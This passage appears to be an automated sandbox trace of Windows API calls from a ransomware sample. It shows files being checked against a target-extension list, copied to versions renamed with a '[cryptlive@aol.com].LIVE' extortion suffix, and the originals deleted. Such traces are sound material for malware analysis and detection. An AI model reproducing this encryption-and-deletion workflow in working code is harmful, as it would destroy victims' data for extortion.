[0157.491] WriteFile (in: hFile=0x3a0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.491] SetEndOfFile (hFile=0x3a0) returned 1 [0157.491] CloseHandle (hObject=0x3a0) returned 1 [0157.491] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.491] SetEndOfFile (hFile=0x1b8) returned 1 [0157.494] CloseHandle (hObject=0x1b8) returned 1 [0157.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0157.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf")) returned 1 [0157.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0157.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0157.495] lstrlenW (lpString=".doc") returned 4 [0157.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.495] lstrlenW (lpString=".docx") returned 5 [0157.495] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0157.495] lstrlenW (lpString=".pdf") returned 4 [0157.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.495] lstrlenW (lpString=".xls") returned 4 [0157.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.495] lstrlenW (lpString=".xlsx") returned 5 [0157.495] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0157.495] lstrlenW (lpString=".ppt") returned 4 [0157.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0157.495] lstrlenW (lpString=".zip") returned 4 [0157.495] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.495] lstrlenW (lpString=".rar") returned 4 [0157.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.496] lstrlenW (lpString=".bz2") returned 4 [0157.496] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.496] lstrlenW (lpString=".7z") returned 3 [0157.496] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0157.496] lstrlenW (lpString=".dbf") returned 4 [0157.496] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0157.496] lstrlenW (lpString=".1cd") returned 4 [0157.496] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0157.496] lstrlenW (lpString=".jpg") returned 4 [0157.496] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0157.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0157.496] lstrlenW (lpString=".doc") returned 4 [0157.496] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.496] lstrlenW (lpString=".docx") returned 5 [0157.496] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0157.496] lstrlenW (lpString=".pdf") returned 4 [0157.496] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.496] lstrlenW (lpString=".xls") returned 4 [0157.496] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.496] lstrlenW (lpString=".xlsx") returned 5 [0157.496] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0157.496] lstrlenW (lpString=".ppt") returned 4 [0157.496] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0157.496] lstrlenW (lpString=".zip") returned 4 [0157.496] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.496] lstrlenW (lpString=".rar") returned 4 [0157.496] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.496] lstrlenW (lpString=".bz2") returned 4 [0157.496] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.496] lstrlenW (lpString=".7z") returned 3 [0157.496] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0157.497] lstrlenW (lpString=".dbf") returned 4 [0157.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0157.497] lstrlenW (lpString=".1cd") returned 4 [0157.497] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0157.497] lstrlenW (lpString=".jpg") returned 4 [0157.497] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.497] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0157.497] lstrlenW (lpString="J0107728.WMF") returned 12 [0157.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0157.498] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=5492) returned 1 [0157.498] CloseHandle (hObject=0x1b8) returned 1 [0157.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf")) returned 0x20 [0157.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0157.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0157.498] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.498] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0157.499] GetLastError () returned 0x0 [0157.499] ReadFile (in: hFile=0x1b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x1574, lpOverlapped=0x0) returned 1 [0157.501] WriteFile (in: hFile=0x3a0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1580, lpOverlapped=0x0) returned 1 [0157.502] ReadFile (in: hFile=0x1b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0157.502] WriteFile (in: hFile=0x3a0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.503] SetEndOfFile (hFile=0x3a0) returned 1 [0157.503] CloseHandle (hObject=0x3a0) returned 1 [0157.503] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.503] SetEndOfFile (hFile=0x1b8) returned 1 [0157.506] CloseHandle (hObject=0x1b8) returned 1 [0157.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0157.506] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf")) returned 1 [0157.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0157.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0157.507] lstrlenW (lpString=".doc") returned 4 [0157.507] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.507] lstrlenW (lpString=".docx") returned 5 [0157.507] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0157.507] lstrlenW (lpString=".pdf") returned 4 [0157.507] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.507] lstrlenW (lpString=".xls") returned 4 [0157.507] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.508] lstrlenW (lpString=".xlsx") returned 5 [0157.508] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0157.508] lstrlenW (lpString=".ppt") returned 4 [0157.508] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0157.508] lstrlenW (lpString=".zip") returned 4 [0157.508] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.508] lstrlenW (lpString=".rar") returned 4 [0157.508] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.508] lstrlenW (lpString=".bz2") returned 4 [0157.508] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.508] lstrlenW (lpString=".7z") returned 3 [0157.508] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0157.508] lstrlenW (lpString=".dbf") returned 4 [0157.508] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0157.508] lstrlenW (lpString=".1cd") returned 4 [0157.508] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0157.508] lstrlenW (lpString=".jpg") returned 4 [0157.508] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0157.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0157.508] lstrlenW (lpString=".doc") returned 4 [0157.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.509] lstrlenW (lpString=".docx") returned 5 [0157.509] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0157.509] lstrlenW (lpString=".pdf") returned 4 [0157.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.509] lstrlenW (lpString=".xls") returned 4 [0157.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.509] lstrlenW (lpString=".xlsx") returned 5 [0157.509] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0157.509] lstrlenW (lpString=".ppt") returned 4 [0157.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0157.509] lstrlenW (lpString=".zip") returned 4 [0157.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.509] lstrlenW (lpString=".rar") returned 4 [0157.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.509] lstrlenW (lpString=".bz2") returned 4 [0157.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.509] lstrlenW (lpString=".7z") returned 3 [0157.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0157.509] lstrlenW (lpString=".dbf") returned 4 [0157.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0157.509] lstrlenW (lpString=".1cd") returned 4 [0157.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0157.509] lstrlenW (lpString=".jpg") returned 4 [0157.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.509] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0157.509] lstrlenW (lpString="J0107730.WMF") returned 12 [0157.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0157.511] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3060) returned 1 [0157.511] CloseHandle (hObject=0x1b8) returned 1 [0157.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf")) returned 0x20 [0157.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0157.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0157.512] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.512] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0157.513] GetLastError () returned 0x0 [0157.513] ReadFile (in: hFile=0x1b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xbf4, lpOverlapped=0x0) returned 1 [0157.515] WriteFile (in: hFile=0x3a0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xc00, lpOverlapped=0x0) returned 1 [0157.515] ReadFile (in: hFile=0x1b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0157.516] WriteFile (in: hFile=0x3a0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.516] SetEndOfFile (hFile=0x3a0) returned 1 [0157.516] CloseHandle (hObject=0x3a0) returned 1 [0157.516] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.516] SetEndOfFile (hFile=0x1b8) returned 1 [0157.518] CloseHandle (hObject=0x1b8) returned 1 [0157.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0157.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf")) returned 1 [0157.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0157.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0157.519] lstrlenW (lpString=".doc") returned 4 [0157.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.520] lstrlenW (lpString=".docx") returned 5 [0157.520] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0157.520] lstrlenW (lpString=".pdf") returned 4 [0157.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.520] lstrlenW (lpString=".xls") returned 4 [0157.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.520] lstrlenW (lpString=".xlsx") returned 5 [0157.520] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0157.520] lstrlenW (lpString=".ppt") returned 4 [0157.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0157.520] lstrlenW (lpString=".zip") returned 4 [0157.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.520] lstrlenW (lpString=".rar") returned 4 [0157.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.520] lstrlenW (lpString=".bz2") returned 4 [0157.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.520] lstrlenW (lpString=".7z") returned 3 [0157.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0157.520] lstrlenW (lpString=".dbf") returned 4 [0157.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0157.520] lstrlenW (lpString=".1cd") returned 4 [0157.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0157.520] lstrlenW (lpString=".jpg") returned 4 [0157.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0157.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0157.520] lstrlenW (lpString=".doc") returned 4 [0157.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.520] lstrlenW (lpString=".docx") returned 5 [0157.520] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0157.521] lstrlenW (lpString=".pdf") returned 4 [0157.521] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.521] lstrlenW (lpString=".xls") returned 4 [0157.521] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.521] lstrlenW (lpString=".xlsx") returned 5 [0157.521] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0157.521] lstrlenW (lpString=".ppt") returned 4 [0157.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0157.521] lstrlenW (lpString=".zip") returned 4 [0157.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.521] lstrlenW (lpString=".rar") returned 4 [0157.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.521] lstrlenW (lpString=".bz2") returned 4 [0157.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.521] lstrlenW (lpString=".7z") returned 3 [0157.521] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0157.521] lstrlenW (lpString=".dbf") returned 4 [0157.521] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0157.521] lstrlenW (lpString=".1cd") returned 4 [0157.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0157.521] lstrlenW (lpString=".jpg") returned 4 [0157.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.521] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0157.521] lstrlenW (lpString="J0107734.WMF") returned 12 [0157.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0157.830] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3140) returned 1 [0157.830] CloseHandle (hObject=0x350) returned 1 [0157.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf")) returned 0x20 [0157.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0157.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0157.955] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.955] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.956] GetLastError () returned 0x0 [0157.956] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xc44, lpOverlapped=0x0) returned 1 [0157.967] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xc50, lpOverlapped=0x0) returned 1 [0157.968] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0157.968] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.968] SetEndOfFile (hFile=0x384) returned 1 [0157.968] CloseHandle (hObject=0x384) returned 1 [0157.968] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.968] SetEndOfFile (hFile=0x350) returned 1 [0157.970] CloseHandle (hObject=0x350) returned 1 [0157.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 